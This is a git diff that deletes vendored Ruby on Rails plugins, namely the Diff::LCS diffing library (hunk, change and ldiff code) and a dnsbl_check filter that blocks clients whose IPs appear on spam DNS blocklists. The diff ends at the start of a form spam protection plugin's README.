-  #
-  #     diffs = Diff::LCS.sdiff(seq1, seq2, Diff::LCS::ContextCallbacks)
-  #       # This example shows a simplified array format.
-  #       # [ [ [ "-", [  0, "a" ], [  0, nil ] ] ],  # 1
-  #       #   [ [ "+", [  3, nil ], [  2, "d" ] ] ],  # 2
-  #       #   [ [ "!", [  4, "h" ], [  4, "f" ] ] ],  # 3
-  #       #   [ [ "+", [  6, nil ], [  6, "k" ] ] ],  # 4
-  #       #   [ [ "!", [  8, "n" ], [  9, "r" ] ],    # 5
-  #       #     [ "!", [  9, "p" ], [ 10, "s" ] ],
-  #       #     [ "+", [ 10, nil ], [ 11, "t" ] ] ] ]
-  #
-  # The five hunks are still present, but are significantly shorter in total
-  # presentation, because changed items are shown as changes ("!") instead of
-  # potentially "mismatched" pairs of additions and deletions.
-  #
-  # The result of this operation is similar to that of
-  # Diff::LCS::SDiffCallbacks. They may be compared as:
-  #
-  #     s = Diff::LCS.sdiff(seq1, seq2).reject { |e| e.action == "=" }
-  #     c = Diff::LCS.sdiff(seq1, seq2, Diff::LCS::ContextDiffCallbacks).flatten
-  #
-  #     s == c # -> true
-  #
-  # === Use
-  # This callback object must be initialised and can be used by the
-  # Diff::LCS#diff or Diff::LCS#sdiff methods.
-  #
-  #     cbo = Diff::LCS::ContextDiffCallbacks.new
-  #     Diff::LCS.LCS(seq1, seq2, cbo)
-  #     cbo.finish
-  #
-  # Note that the call to #finish is absolutely necessary, or the last set of
-  # changes will not be visible. Alternatively, can be used as:
-  #
-  #     cbo = Diff::LCS::ContextDiffCallbacks.new { |tcbo| Diff::LCS.LCS(seq1, seq2, tcbo) }
-  #
-  # The necessary #finish call will be made.
-  #
-  # === Simplified Array Format
-  # The simplified array format used in the example above can be obtained
-  # with:
-  #
-  #     require 'pp'
-  #     pp diffs.map { |e| e.map { |f| f.to_a } }
-class Diff::LCS::ContextDiffCallbacks < Diff::LCS::DiffCallbacks
-  def discard_a(event)
-    @hunk << Diff::LCS::ContextChange.simplify(event)
-  end
-
-  def discard_b(event)
-    @hunk << Diff::LCS::ContextChange.simplify(event)
-  end
-
-  def change(event)
-    @hunk << Diff::LCS::ContextChange.simplify(event)
-  end
-end
-
-  # This will produce a simple array of diff change objects. Each element in
-  # the #diffs array is a single ContextChange. In the set of #diffs provided
-  # by SDiffCallbacks, both old and new objects will be presented for both
-  # changed <strong>and unchanged</strong> objects. +nil+ will be substituted
-  # for a discarded object.
-  #
-  # The diffset produced by this callback, when provided to Diff::LCS#sdiff,
-  # will compute and display the necessary components to show two sequences
-  # and their minimized differences side by side, just like the Unix utility
-  # +sdiff+.
-  # 
-  #     same             same
-  #     before     |     after
-  #     old        <     -
-  #     -          >     new
-  #
-  #     seq1 = %w(a b c e h j l m n p)
-  #     seq2 = %w(b c d e f j k l m r s t)
-  #
-  #     diffs = Diff::LCS.sdiff(seq1, seq2)
-  #       # This example shows a simplified array format.
-  #       # [ [ "-", [  0, "a"], [  0, nil ] ],
-  #       #   [ "=", [  1, "b"], [  0, "b" ] ],
-  #       #   [ "=", [  2, "c"], [  1, "c" ] ],
-  #       #   [ "+", [  3, nil], [  2, "d" ] ],
-  #       #   [ "=", [  3, "e"], [  3, "e" ] ],
-  #       #   [ "!", [  4, "h"], [  4, "f" ] ],
-  #       #   [ "=", [  5, "j"], [  5, "j" ] ],
-  #       #   [ "+", [  6, nil], [  6, "k" ] ],
-  #       #   [ "=", [  6, "l"], [  7, "l" ] ],
-  #       #   [ "=", [  7, "m"], [  8, "m" ] ],
-  #       #   [ "!", [  8, "n"], [  9, "r" ] ],
-  #       #   [ "!", [  9, "p"], [ 10, "s" ] ],
-  #       #   [ "+", [ 10, nil], [ 11, "t" ] ] ]
-  #
-  # The result of this operation is similar to that of
-  # Diff::LCS::ContextDiffCallbacks. They may be compared as:
-  #
-  #     s = Diff::LCS.sdiff(seq1, seq2).reject { |e| e.action == "=" }
-  #     c = Diff::LCS.sdiff(seq1, seq2, Diff::LCS::ContextDiffCallbacks).flatten
-  #
-  #     s == c # -> true
-  #
-  # === Use
-  # This callback object must be initialised and is used by the Diff::LCS#sdiff
-  # method.
-  #
-  #     cbo = Diff::LCS::SDiffCallbacks.new
-  #     Diff::LCS.LCS(seq1, seq2, cbo)
-  #
-  # As with the other initialisable callback objects, Diff::LCS::SDiffCallbacks
-  # can be initialised with a block. As there is no "fininishing" to be done,
-  # this has no effect on the state of the object.
-  #
-  #     cbo = Diff::LCS::SDiffCallbacks.new { |tcbo| Diff::LCS.LCS(seq1, seq2, tcbo) }
-  #
-  # === Simplified Array Format
-  # The simplified array format used in the example above can be obtained
-  # with:
-  #
-  #     require 'pp'
-  #     pp diffs.map { |e| e.to_a }
-class Diff::LCS::SDiffCallbacks
-    # Returns the difference set collected during the diff process.
-  attr_reader :diffs
-
-  def initialize #:yields self:
-    @diffs = []
-    yield self if block_given?
-  end
-
-  def match(event)
-    @diffs << Diff::LCS::ContextChange.simplify(event)
-  end
-
-  def discard_a(event)
-    @diffs << Diff::LCS::ContextChange.simplify(event)
-  end
-
-  def discard_b(event)
-    @diffs << Diff::LCS::ContextChange.simplify(event)
-  end
-
-  def change(event)
-    @diffs << Diff::LCS::ContextChange.simplify(event)
-  end
-end
diff --git a/vendor/plugins/diff/lib/diff/lcs/change.rb b/vendor/plugins/diff/lib/diff/lcs/change.rb
deleted file mode 100644
index 1f282e1e..00000000
--- a/vendor/plugins/diff/lib/diff/lcs/change.rb
+++ /dev/null
@@ -1,169 +0,0 @@
-#! /usr/env/bin ruby
-#--
-# Copyright 2004 Austin Ziegler <diff-lcs@halostatue.ca>
-#   adapted from:
-#     Algorithm::Diff (Perl) by Ned Konz <perl@bike-nomad.com>
-#     Smalltalk by Mario I. Wolczko <mario@wolczko.com>
-#   implements McIlroy-Hunt diff algorithm
-#
-# This program is free software. It may be redistributed and/or modified under
-# the terms of the GPL version 2 (or later), the Perl Artistic licence, or the
-# Ruby licence.
-# 
-# $Id: change.rb,v 1.4 2004/08/08 20:33:09 austin Exp $
-#++
-# Provides Diff::LCS::Change and Diff::LCS::ContextChange.
-
-  # Centralises the change test code in Diff::LCS::Change and
-  # Diff::LCS::ContextChange, since it's the same for both classes.
-module Diff::LCS::ChangeTypeTests
-  def deleting?
-    @action == '-'
-  end
-
-  def adding?
-    @action == '+'
-  end
-
-  def unchanged?
-    @action == '='
-  end
-
-  def changed?
-    @changed == '!'
-  end
-
-  def finished_a?
-    @changed == '>'
-  end
-
-  def finished_b?
-    @changed == '<'
-  end
-end
-
-  # Represents a simplistic (non-contextual) change. Represents the removal or
-  # addition of an element from either the old or the new sequenced enumerable.
-class Diff::LCS::Change
-    # Returns the action this Change represents. Can be '+' (#adding?), '-'
-    # (#deleting?), '=' (#unchanged?), # or '!' (#changed?). When created by
-    # Diff::LCS#diff or Diff::LCS#sdiff, it may also be '>' (#finished_a?) or
-    # '<' (#finished_b?).
-  attr_reader :action
-  attr_reader :position
-  attr_reader :element
-
-  include Comparable
-  def ==(other)
-    (self.action == other.action) and
-    (self.position == other.position) and
-    (self.element == other.element)
-  end
-
-  def <=>(other)
-    r = self.action <=> other.action
-    r = self.position <=> other.position if r.zero?
-    r = self.element <=> other.element if r.zero?
-    r
-  end
-
-  def initialize(action, position, element)
-    @action = action
-    @position = position
-    @element = element
-  end
-
-    # Creates a Change from an array produced by Change#to_a.
-  def to_a
-    [@action, @position, @element]
-  end
-
-  def self.from_a(arr)
-    Diff::LCS::Change.new(arr[0], arr[1], arr[2])
-  end
-
-  include Diff::LCS::ChangeTypeTests
-end
-
-  # Represents a contextual change. Contains the position and values of the
-  # elements in the old and the new sequenced enumerables as well as the action
-  # taken.
-class Diff::LCS::ContextChange
-    # Returns the action this Change represents. Can be '+' (#adding?), '-'
-    # (#deleting?), '=' (#unchanged?), # or '!' (#changed?). When
-    # created by Diff::LCS#diff or Diff::LCS#sdiff, it may also be '>'
-    # (#finished_a?) or '<' (#finished_b?).
-  attr_reader :action
-  attr_reader :old_position
-  attr_reader :old_element
-  attr_reader :new_position
-  attr_reader :new_element
-
-  include Comparable
-
-  def ==(other)
-    (@action == other.action) and
-    (@old_position == other.old_position) and
-    (@new_position == other.new_position) and
-    (@old_element == other.old_element) and
-    (@new_element == other.new_element)
-  end
-
-  def inspect(*args)
-    %Q(#<#{self.class.name}:#{__id__} @action=#{action} positions=#{old_position},#{new_position} elements=#{old_element.inspect},#{new_element.inspect}>)
-  end
-
-  def <=>(other)
-    r = @action <=> other.action
-    r = @old_position <=> other.old_position if r.zero?
-    r = @new_position <=> other.new_position if r.zero?
-    r = @old_element <=> other.old_element if r.zero?
-    r = @new_element <=> other.new_element if r.zero?
-    r
-  end
-
-  def initialize(action, old_position, old_element, new_position, new_element)
-    @action = action
-    @old_position = old_position
-    @old_element = old_element
-    @new_position = new_position
-    @new_element = new_element
-  end
-
-  def to_a
-    [@action, [@old_position, @old_element], [@new_position, @new_element]]
-  end
-
-    # Creates a ContextChange from an array produced by ContextChange#to_a.
-  def self.from_a(arr)
-    if arr.size == 5
-      Diff::LCS::ContextChange.new(arr[0], arr[1], arr[2], arr[3], arr[4])
-    else
-      Diff::LCS::ContextChange.new(arr[0], arr[1][0], arr[1][1], arr[2][0],
-                                   arr[2][1])
-    end
-  end
-
-    # Simplifies a context change for use in some diff callbacks. '<' actions
-    # are converted to '-' and '>' actions are converted to '+'. 
-  def self.simplify(event)
-    ea = event.to_a
-
-    case ea[0]
-    when '-'
-      ea[2][1] = nil
-    when '<'
-      ea[0] = '-'
-      ea[2][1] = nil
-    when '+'
-      ea[1][1] = nil
-    when '>'
-      ea[0] = '+'
-      ea[1][1] = nil
-    end
-
-    Diff::LCS::ContextChange.from_a(ea)
-  end
-
-  include Diff::LCS::ChangeTypeTests
-end
diff --git a/vendor/plugins/diff/lib/diff/lcs/hunk.rb b/vendor/plugins/diff/lib/diff/lcs/hunk.rb
deleted file mode 100644
index a6e5ce41..00000000
--- a/vendor/plugins/diff/lib/diff/lcs/hunk.rb
+++ /dev/null
@@ -1,257 +0,0 @@
-#! /usr/env/bin ruby
-#--
-# Copyright 2004 Austin Ziegler <diff-lcs@halostatue.ca>
-#   adapted from:
-#     Algorithm::Diff (Perl) by Ned Konz <perl@bike-nomad.com>
-#     Smalltalk by Mario I. Wolczko <mario@wolczko.com>
-#   implements McIlroy-Hunt diff algorithm
-#
-# This program is free software. It may be redistributed and/or modified under
-# the terms of the GPL version 2 (or later), the Perl Artistic licence, or the
-# Ruby licence.
-# 
-# $Id: hunk.rb,v 1.2 2004/08/08 20:33:09 austin Exp $
-#++
-# Contains Diff::LCS::Hunk for bin/ldiff.
-
-require 'diff/lcs/block'
-
-  # A Hunk is a group of Blocks which overlap because of the context
-  # surrounding each block. (So if we're not using context, every hunk will
-  # contain one block.) Used in the diff program (bin/diff).
-class Diff::LCS::Hunk
-    # Create a hunk using references to both the old and new data, as well as
-    # the piece of data
-  def initialize(data_old, data_new, piece, context, file_length_difference)
-      # At first, a hunk will have just one Block in it
-    @blocks = [ Diff::LCS::Block.new(piece) ]
-    @data_old = data_old
-    @data_new = data_new
-
-    before = after = file_length_difference
-    after += @blocks[0].diff_size
-    @file_length_difference = after # The caller must get this manually
-
-      # Save the start & end of each array. If the array doesn't exist
-      # (e.g., we're only adding items in this block), then figure out the
-      # line number based on the line number of the other file and the
-      # current difference in file lengths.
-    if @blocks[0].remove.empty?
-      a1 = a2 = nil
-    else
-      a1 = @blocks[0].remove[0].position
-      a2 = @blocks[0].remove[-1].position
-    end
-
-    if @blocks[0].insert.empty?
-      b1 = b2 = nil
-    else
-      b1 = @blocks[0].insert[0].position
-      b2 = @blocks[0].insert[-1].position
-    end
-
-    @start_old = a1 || (b1 - before)
-    @start_new = b1 || (a1 + before)
-    @end_old   = a2 || (b2 - after)
-    @end_new   = b2 || (a2 + after)
-
-    self.flag_context = context
-  end
-
-  attr_reader :blocks
-  attr_reader :start_old, :start_new
-  attr_reader :end_old, :end_new
-  attr_reader :file_length_difference
-
-    # Change the "start" and "end" fields to note that context should be added
-    # to this hunk
-  attr_accessor :flag_context
-  def flag_context=(context) #:nodoc:
-    return if context.nil? or context.zero?
-
-    add_start = (context > @start_old) ? @start_old : context
-    @start_old -= add_start
-    @start_new -= add_start
-
-    if (@end_old + context) > @data_old.size
-      add_end = @data_old.size - @end_old
-    else
-      add_end = context
-    end
-    @end_old += add_end
-    @end_new += add_end
-  end
-
-  def unshift(hunk)
-    @start_old = hunk.start_old
-    @start_new = hunk.start_new
-    blocks.unshift(*hunk.blocks)
-  end
-
-    # Is there an overlap between hunk arg0 and old hunk arg1? Note: if end
-    # of old hunk is one less than beginning of second, they overlap
-  def overlaps?(hunk = nil)
-    return nil if hunk.nil?
-
-    a = (@start_old - hunk.end_old) <= 1
-    b = (@start_new - hunk.end_new) <= 1
-    return (a or b)
-  end
-
-  def diff(format)
-    case format
-    when :old
-      old_diff
-    when :unified
-      unified_diff
-    when :context
-      context_diff
-    when :ed
-      self
-    when :reverse_ed, :ed_finish
-      ed_diff(format)
-    else
-      raise "Unknown diff format #{format}."
-    end
-  end
-
-  def each_old(block)
-    @data_old[@start_old .. @end_old].each { |e| yield e }
-  end
-
-  private
-    # Note that an old diff can't have any context. Therefore, we know that
-    # there's only one block in the hunk.
-  def old_diff
-    warn "Expecting only one block in an old diff hunk!" if @blocks.size > 1
-    op_act = { "+" => 'a', "-" => 'd', "!" => "c" }
-
-    block = @blocks[0]
-
-      # Calculate item number range. Old diff range is just like a context
-      # diff range, except the ranges are on one line with the action between
-      # them.
-    s = "#{context_range(:old)}#{op_act[block.op]}#{context_range(:new)}\n"
-      # If removing anything, just print out all the remove lines in the hunk
-      # which is just all the remove lines in the block.
-    @data_old[@start_old .. @end_old].each { |e| s << "< #{e}\n" } unless block.remove.empty?
-    s << "---\n" if block.op == "!"
-    @data_new[@start_new .. @end_new].each { |e| s << "> #{e}\n" } unless block.insert.empty?
-    s
-  end
-
-  def unified_diff
-      # Calculate item number range.
-    s = "@@ -#{unified_range(:old)} +#{unified_range(:new)} @@\n"
-
-      # Outlist starts containing the hunk of the old file. Removing an item
-      # just means putting a '-' in front of it. Inserting an item requires
-      # getting it from the new file and splicing it in. We splice in
-      # +num_added+ items. Remove blocks use +num_added+ because splicing
-      # changed the length of outlist.
-      #
-      # We remove +num_removed+ items. Insert blocks use +num_removed+
-      # because their item numbers -- corresponding to positions in the NEW
-      # file -- don't take removed items into account.
-    lo, hi, num_added, num_removed = @start_old, @end_old, 0, 0
-
-    outlist = @data_old[lo .. hi].collect { |e| e.gsub(/^/, ' ') }
-
-    @blocks.each do |block|
-      block.remove.each do |item|
-        op = item.action.to_s # -
-        offset = item.position - lo + num_added
-        outlist[offset].gsub!(/^ /, op.to_s)
-        num_removed += 1
-      end
-      block.insert.each do |item|
-        op = item.action.to_s # +
-        offset = item.position - @start_new + num_removed
-        outlist[offset, 0] = "#{op}#{@data_new[item.position]}"
-        num_added += 1
-      end
-    end
-
-    s << outlist.join("\n")
-  end
-
-  def context_diff
-    s = "***************\n"
-    s << "*** #{context_range(:old)} ****\n"
-    r = context_range(:new)
-
-      # Print out file 1 part for each block in context diff format if there
-      # are any blocks that remove items
-    lo, hi = @start_old, @end_old
-    removes = @blocks.select { |e| not e.remove.empty? }
-    if removes
-      outlist = @data_old[lo .. hi].collect { |e| e.gsub(/^/, '  ') }
-      removes.each do |block|
-        block.remove.each do |item|
-          outlist[item.position - lo].gsub!(/^ /) { block.op } # - or !
-        end
-      end
-      s << outlist.join("\n")
-    end
-
-    s << "\n--- #{r} ----\n"
-    lo, hi = @start_new, @end_new
-    inserts = @blocks.select { |e| not e.insert.empty? }
-    if inserts
-      outlist = @data_new[lo .. hi].collect { |e| e.gsub(/^/, '  ') }
-      inserts.each do |block|
-        block.insert.each do |item|
-          outlist[item.position - lo].gsub!(/^ /) { block.op } # + or !
-        end
-      end
-      s << outlist.join("\n")
-    end
-    s
-  end
-
-  def ed_diff(format)
-    op_act = { "+" => 'a', "-" => 'd', "!" => "c" }
-    warn "Expecting only one block in an old diff hunk!" if @blocks.size > 1
-
-    if format == :reverse_ed
-      s = "#{op_act[@blocks[0].op]}#{context_range(:old)}\n"
-    else
-      s = "#{context_range(:old).gsub(/,/, ' ')}#{op_act[@blocks[0].op]}\n"
-    end
-
-    unless @blocks[0].insert.empty?
-      @data_new[@start_new .. @end_new].each { |e| s << "#{e}\n" }
-      s << ".\n"
-    end
-    s
-  end
-
-    # Generate a range of item numbers to print. Only print 1 number if the
-    # range has only one item in it. Otherwise, it's 'start,end'
-  def context_range(mode)
-    case mode
-    when :old
-      s, e = (@start_old + 1), (@end_old + 1)
-    when :new
-      s, e = (@start_new + 1), (@end_new + 1)
-    end
-
-    (s < e) ? "#{s},#{e}" : "#{e}"
-  end
-
-    # Generate a range of item numbers to print for unified diff. Print
-    # number where block starts, followed by number of lines in the block
-    # (don't print number of lines if it's 1)
-  def unified_range(mode)
-    case mode
-    when :old
-      s, e = (@start_old + 1), (@end_old + 1)
-    when :new
-      s, e = (@start_new + 1), (@end_new + 1)
-    end
-
-    length = e - s + 1
-    first = (length < 2) ? e : s # "strange, but correct"
-    (length == 1) ? "#{first}" : "#{first},#{length}"
-  end
-end
diff --git a/vendor/plugins/diff/lib/diff/lcs/ldiff.rb b/vendor/plugins/diff/lib/diff/lcs/ldiff.rb
deleted file mode 100644
index cc9cb803..00000000
--- a/vendor/plugins/diff/lib/diff/lcs/ldiff.rb
+++ /dev/null
@@ -1,226 +0,0 @@
-#!/usr/bin/env ruby
-
-require 'optparse'
-require 'ostruct'
-require 'diff/lcs/hunk'
-
-  # == ldiff Usage
-  #   ldiff [options] oldfile newfile
-  #
-  # -c::                            Displays a context diff with 3 lines of context.
-  # -C [LINES], --context [LINES]:: Displays a context diff with LINES lines of context. Default 3 lines.
-  # -u::                            Displays a unified diff with 3 lines of context.
-  # -U [LINES], --unified [LINES]:: Displays a unified diff with LINES lines of context. Default 3 lines.
-  # -e::                            Creates an 'ed' script to change oldfile to newfile.
-  # -f::                            Creates an 'ed' script to change oldfile to newfile in reverse order.
-  # -a, --text::                    Treats the files as text and compares them line-by-line, even if they do not seem to be text.
-  # --binary::                      Treats the files as binary.
-  # -q, --brief::                   Reports only whether or not the files differ, not the details.
-  # --help::                        Shows the command-line help.
-  # --version::                     Shows the version of Diff::LCS.
-  #
-  # By default, runs produces an "old-style" diff, with output like UNIX diff.
-  #
-  # == Copyright
-  # Copyright &copy; 2004 Austin Ziegler
-  #
-  #   Part of Diff::LCS <http://rubyforge.org/projects/ruwiki/>
-  #   Austin Ziegler <diff-lcs@halostatue.ca>
-  #
-  # This program is free software. It may be redistributed and/or modified under
-  # the terms of the GPL version 2 (or later), the Perl Artistic licence, or the
-  # Ruby licence.
-module Diff::LCS::Ldiff
-  BANNER = <<-COPYRIGHT
-ldiff #{Diff::LCS::VERSION}
-  Copyright � 2004 Austin Ziegler
-
-  Part of Diff::LCS.
-  http://rubyforge.org/projects/ruwiki/
-
-  Austin Ziegler <diff-lcs@halostatue.ca>
-
-  This program is free software. It may be redistributed and/or modified under
-  the terms of the GPL version 2 (or later), the Perl Artistic licence, or the
-  Ruby licence.
-
-$Id: ldiff.rb,v 1.1 2004/09/26 01:37:49 austin Exp $
-              COPYRIGHT
-  
-  class << self
-    attr_reader   :format, :lines       #:nodoc:
-    attr_reader   :file_old, :file_new  #:nodoc:
-    attr_reader   :data_old, :data_new  #:nodoc:
-
-    def run(args, input = $stdin, output = $stdout, error = $stderr) #:nodoc:
-      args.options do |o|
-        o.banner = "Usage: #{File.basename($0)} [options] oldfile newfile"
-        o.separator ""
-        o.on('-c',
-            'Displays a context diff with 3 lines of',
-            'context.') do |ctx|
-          @format = :context
-          @lines  = 3
-        end
-        o.on('-C', '--context [LINES]', Numeric,
-            'Displays a context diff with LINES lines',
-            'of context. Default 3 lines.') do |ctx|
-          @format = :context
-          @lines  = ctx || 3
-        end
-        o.on('-u',
-            'Displays a unified diff with 3 lines of',
-            'context.') do |ctx|
-          @format = :unified
-          @lines  = 3
-        end
-        o.on('-U', '--unified [LINES]', Numeric,
-            'Displays a unified diff with LINES lines',
-            'of context. Default 3 lines.') do |ctx|
-          @format = :unified
-          @lines  = ctx || 3
-        end
-        o.on('-e',
-            'Creates an \'ed\' script to change',
-            'oldfile to newfile.') do |ctx|
-          @format = :ed
-        end
-        o.on('-f',
-            'Creates an \'ed\' script to change',
-            'oldfile to newfile in reverse order.') do |ctx|
-          @format = :reverse_ed
-        end
-        o.on('-a', '--text',
-             'Treat the files as text and compare them',
-             'line-by-line, even if they do not seem',
-             'to be text.') do |txt|
-          @binary = false
-        end
-        o.on('--binary',
-             'Treats the files as binary.') do |bin|
-          @binary = true
-        end
-        o.on('-q', '--brief',
-             'Report only whether or not the files',
-             'differ, not the details.') do |ctx|
-          @format = :report
-        end
-        o.on_tail('--help', 'Shows this text.') do
-          error << o
-          return 0
-        end
-        o.on_tail('--version', 'Shows the version of Diff::LCS.') do
-          error << BANNER
-          return 0
-        end
-        o.on_tail ""
-        o.on_tail 'By default, runs produces an "old-style" diff, with output like UNIX diff.'
-        o.parse!
-      end
-
-      unless args.size == 2
-        error << args.options
-        return 127
-      end
-
-        # Defaults are for old-style diff
-      @format ||= :old
-      @lines  ||= 0
-
-      file_old, file_new = *ARGV
-
-      case @format
-      when :context
-        char_old = '*' * 3
-        char_new = '-' * 3
-      when :unified
-        char_old = '-' * 3
-        char_new = '+' * 3
-      end
-
-        # After we've read up to a certain point in each file, the number of
-        # items we've read from each file will differ by FLD (could be 0).
-      file_length_difference = 0
-
-      if @binary.nil? or @binary
-        data_old = IO::read(file_old)
-        data_new = IO::read(file_new)
-
-          # Test binary status
-        if @binary.nil?
-          old_txt = data_old[0...4096].grep(/\0/).empty?
-          new_txt = data_new[0...4096].grep(/\0/).empty?
-          @binary = (not old_txt) or (not new_txt)
-          old_txt = new_txt = nil
-        end
-
-        unless @binary
-          data_old = data_old.split(/\n/).map! { |e| e.chomp }
-          data_new = data_new.split(/\n/).map! { |e| e.chomp }
-        end
-      else
-        data_old = IO::readlines(file_old).map! { |e| e.chomp }
-        data_new = IO::readlines(file_new).map! { |e| e.chomp }
-      end
-
-        # diff yields lots of pieces, each of which is basically a Block object
-      if @binary
-        diffs = (data_old == data_new)
-      else
-        diffs = Diff::LCS.diff(data_old, data_new)
-        diffs = nil if diffs.empty?
-      end
-
-      return 0 unless diffs
-
-      if (@format == :report) and diffs
-        output << "Files #{file_old} and #{file_new} differ\n"
-        return 1
-      end
-
-      if (@format == :unified) or (@format == :context)
-        ft = File.stat(file_old).mtime.localtime.strftime('%Y-%m-%d %H:%M:%S %z')
-        puts "#{char_old} #{file_old}\t#{ft}"
-        ft = File.stat(file_new).mtime.localtime.strftime('%Y-%m-%d %H:%M:%S %z')
-        puts "#{char_new} #{file_new}\t#{ft}"
-      end
-
-        # Loop over hunks. If a hunk overlaps with the last hunk, join them.
-        # Otherwise, print out the old one.
-      oldhunk = hunk = nil
-
-      if @format == :ed
-        real_output = output
-        output = []
-      end
-
-      diffs.each do |piece|
-      begin
-        hunk = Diff::LCS::Hunk.new(data_old, data_new, piece, @lines,
-                                   file_length_difference)
-        file_length_difference = hunk.file_length_difference
-
-        next unless oldhunk
-
-        if (@lines > 0) and hunk.overlaps?(oldhunk)
-          hunk.unshift(oldhunk)
-        else
-          output << oldhunk.diff(@format)
-        end
-      ensure
-        oldhunk = hunk
-        output << "\n"
-      end
-      end
-
-      output << oldhunk.diff(@format)
-      output << "\n"
-
-      if @format == :ed
-        output.reverse_each { |e| real_output << e.diff(:ed_finish) }
-      end
-
-      return 1
-    end
-  end
-end
diff --git a/vendor/plugins/diff/lib/diff/lcs/string.rb b/vendor/plugins/diff/lib/diff/lcs/string.rb
deleted file mode 100644
index 44c4a826..00000000
--- a/vendor/plugins/diff/lib/diff/lcs/string.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-#! /usr/env/bin ruby
-#--
-# Copyright 2004 Austin Ziegler <diff-lcs@halostatue.ca>
-#   adapted from:
-#     Algorithm::Diff (Perl) by Ned Konz <perl@bike-nomad.com>
-#     Smalltalk by Mario I. Wolczko <mario@wolczko.com>
-#   implements McIlroy-Hunt diff algorithm
-#
-# This program is free software. It may be redistributed and/or modified under
-# the terms of the GPL version 2 (or later), the Perl Artistic licence, or the
-# Ruby licence.
-# 
-# $Id: string.rb,v 1.3 2004/08/08 20:33:09 austin Exp $
-#++
-# Includes Diff::LCS into String.
-
-class String
-  include Diff::LCS
-end
diff --git a/vendor/plugins/dnsbl_check/README b/vendor/plugins/dnsbl_check/README
deleted file mode 100644
index 24f57612..00000000
--- a/vendor/plugins/dnsbl_check/README
+++ /dev/null
@@ -1,36 +0,0 @@
-This plugin checks if a user of your web application is listed in DNSBLs
-(DNS Blackhole Lists). These are lists of misbehaving IP addresses.
-There are many DNSBLs, some are more aggressive than others.
-More information at http://en.wikipedia.org/wiki/DNSBL
-
-This filter will result in one DNS request for every blocklist that you have
-configured. This might be problematic for sites under heavy load, although this
-plugin has been used on high-traffic sites without any problem. One DNS
-request takes a few miliseconds to complete, after all.
-
-
-INSTALLATION
-
-1. execute "script/plugin install http://www.spacebabies.nl/svn/dnsbl_check"
-2. add "before_filter :dnsbl_check" to controllers that need checking
-3. restart your application.
-
-
-VERSION HISTORY
-
-0.1	18 June 2006		Initial release
-0.2	10 June 2006		Renamed to dnsbl_check, bugfix
-0.3	20 June 2006		Removed sorbs from distribution, was not supposed to be included (too aggressive)
-0.4	18 July 2006		Explicit return false added, moved to a per-controller basis (not global anymore)
-1.0	16 August 2006		Renamed 0.4 to 1.0. I have been using the plugin very succesfully for months now.
-1.1	17 October 2006		Multithreaded version
-1.2	23 October 2006		Using the native Ruby resolver library for better multithreaded support
-1.2.1	25 October 2006		Accepts a wider range of dns responses
-1.2.2	11 December 2006	dnsbls are seemingly under attack, added code to cope with failing service
-1.3	30 November 2007	Chique 403 template, moved to Subversion based installation
-
-
-MORE INFORMATION
-
-http://spacebabies.nl/dnsbl_check/
-joost@spacebabies.nl
diff --git a/vendor/plugins/dnsbl_check/init.rb b/vendor/plugins/dnsbl_check/init.rb
deleted file mode 100644
index 19da77fd..00000000
--- a/vendor/plugins/dnsbl_check/init.rb
+++ /dev/null
@@ -1 +0,0 @@
-ActionController::Base.send :include, DNSBL_Check
diff --git a/vendor/plugins/dnsbl_check/lib/dnsbl_check.rb b/vendor/plugins/dnsbl_check/lib/dnsbl_check.rb
deleted file mode 100644
index c1ab3b06..00000000
--- a/vendor/plugins/dnsbl_check/lib/dnsbl_check.rb
+++ /dev/null
@@ -1,66 +0,0 @@
-# This plugin checks if the client is listed in DNSBLs (DNS Blackhole Lists).
-# These are lists of IP addresses misbehaving. There are many DNSBLs, some are more
-# aggressive than others. More information at http://en.wikipedia.org/wiki/DNSBL
-#
-# This plugin will perform one DNS request per client per blocklist.
-# This plugin will deny service to clients those blocklists have listed.
-# Whether any of this is acceptable is up to you.
-#
-# mailto:joost@spacebabies.nl
-# License: MIT License, like Rails.
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-#
-# Version 1.3
-# http://www.spacebabies.nl/dnsbl_check
-#
-# Modified by Jacques Distler, to give a more informative (and valid) response (2/28/2010).
-require 'resolv'
-
-module DNSBL_Check
-  $dnsbl_passed ||= []
-  DNSBLS  = {'bl.spamcop.net' => 'http://www.spamcop.net/w3m?action=checkblock&amp;ip=',
-             'sbl-xbl.spamhaus.org' => 'http://www.spamhaus.org/query/bl?ip='}
-
-  private
-  # Filter to check if the client is listed. This will be run before all requests.
-  def dnsbl_check
-    return true if respond_to?(:logged_in?) && logged_in?
-    return true if $dnsbl_passed.include? request.remote_addr
-
-    passed = true
-    ban_help = ''
-    threads = []
-    request.remote_addr =~ /(\d+).(\d+).(\d+).(\d+)/
-
-    # Check the remote address against each dnsbl in a separate thread
-    DNSBLS.each_key do |dnsbl|
-      threads << Thread.new("#$4.#$3.#$2.#$1.#{dnsbl}") do |host|
-        logger.warn("Checking DNSBL #{host}")
-        addr = Resolv.getaddress("#{host}") rescue ''
-        if addr[0,7]=="127.0.0"
-          logger.info("#{request.remote_addr} found using DNSBL #{host}")
-          ban_help << "\n<p>See <a href='#{DNSBLS[dnsbl]}#{request.remote_addr}'>here</a> for more information.</p>"
-          passed = false
-        end
-      end
-    end
-    threads.each {|thread| thread.join(2)}    # join threads, but use timeout to kill blocked ones
-
-    # Add client ip to global passed cache if no dnsbls objected. else deny service.
-    if passed
-#      $dnsbl_passed = $dnsbl_passed[0,99].unshift request.remote_addr
-      $dnsbl_passed.push request.remote_addr
-      logger.warn("#{request.remote_addr} added to DNSBL passed cache")
-    else
-      render( :text => "<p>Access denied. Your IP address, #{request.remote_addr}, was found on one or more DNSBL" +
-                       " blocking list(s).</p>#{ban_help}", :status => 403, :layout => 'error', :locals => {:raw => true})
-      return false
-    end
-  end
-end
diff --git a/vendor/plugins/form_spam_protection/README b/vendor/plugins/form_spam_protection/README
deleted file mode 100644
index 1b0ce210..00000000
